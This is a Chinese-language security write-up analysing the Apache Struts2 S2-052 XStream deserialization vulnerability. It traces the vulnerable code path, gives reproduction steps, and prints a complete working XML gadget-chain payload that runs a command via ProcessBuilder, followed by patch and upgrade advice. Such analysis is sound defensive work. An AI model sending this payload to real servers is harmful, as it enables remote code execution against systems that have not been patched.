Struts2-052漏洞示例分析

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前言

2017 年 9 月 5 日，由国外安全研究组织 lgtm.com 的安全研究人员发现的严重漏洞在Apache Struts 2官方发布，漏洞编号为 CVE-2017-9805（S2-052）, 攻击者可以传入精心构造的xml数据，远程命令执行。
Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程命令执行。
利用条件：使用 REST 插件并在受影响版本范围内。
利用方式：攻击者构建恶意数据包远程利用。
影响版本：Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

调试环境搭建

1）下载官方源码：
git clone https://github.com/apache/Struts.git
2）切换到2.5.12分支：
git checkout STRUTS_2_5_12
3) 把源码包中src/apps/rest-showcase整个文件夹拷贝出来，新建一个项目
4）用IDEA或者eclipse导入该maven项目
5) debug模式运行后就可以愉快的调试了

漏洞原理分析

根据官方公告知道该漏洞出现在 XstreamHandler 类，在 struts2-rest-plugin-2.5.12.jar 包内。
于是查看该类，该类中有一个toObject方法，其作用就是对xml内容进行反序列化。

先在此方法内打一个断点，然后构造数据包

发送数据包后，会跳到断点处，此时，看到是上层调用栈中是ContentTypeInterceptor调用了该方法

ContentTypeInterceptor类中intercept方法会根据传入的Content-Type的值生成相应的对象，由于我们传入的是application/xml，所以对应生成一个xml的处理对象XStreamHandler。
继续f5，看到执行反序列化的函数unmarshal，在这个函数执行时没有进行数据安全检查，导致远程命令执行。

接着进入unmarshal函数内，继续往下调试，AbstractReflectionConverter会一步步解析我们提交的xml标签和值，最终调用poc中代码

漏洞复现

在页面http://localhost:8080//struts2-rest-showcase/orders/3/edit中点击Submit，

拦截HTTP请求并将请求体改为POC Payload，同时将Content-Type Header改为application/xml。
payload为：

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next class="string">foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

发送请求后，弹出计算器

补丁

官方补丁，官方的修复方案中, 主要就是将 xml 中的数据白名单化，把 Collection 和 Map，一些基础类，时间类放在白名单中，这样就能阻止 XStream 反序列化的过程中带入一些有害类

修复建议

Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本
Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本

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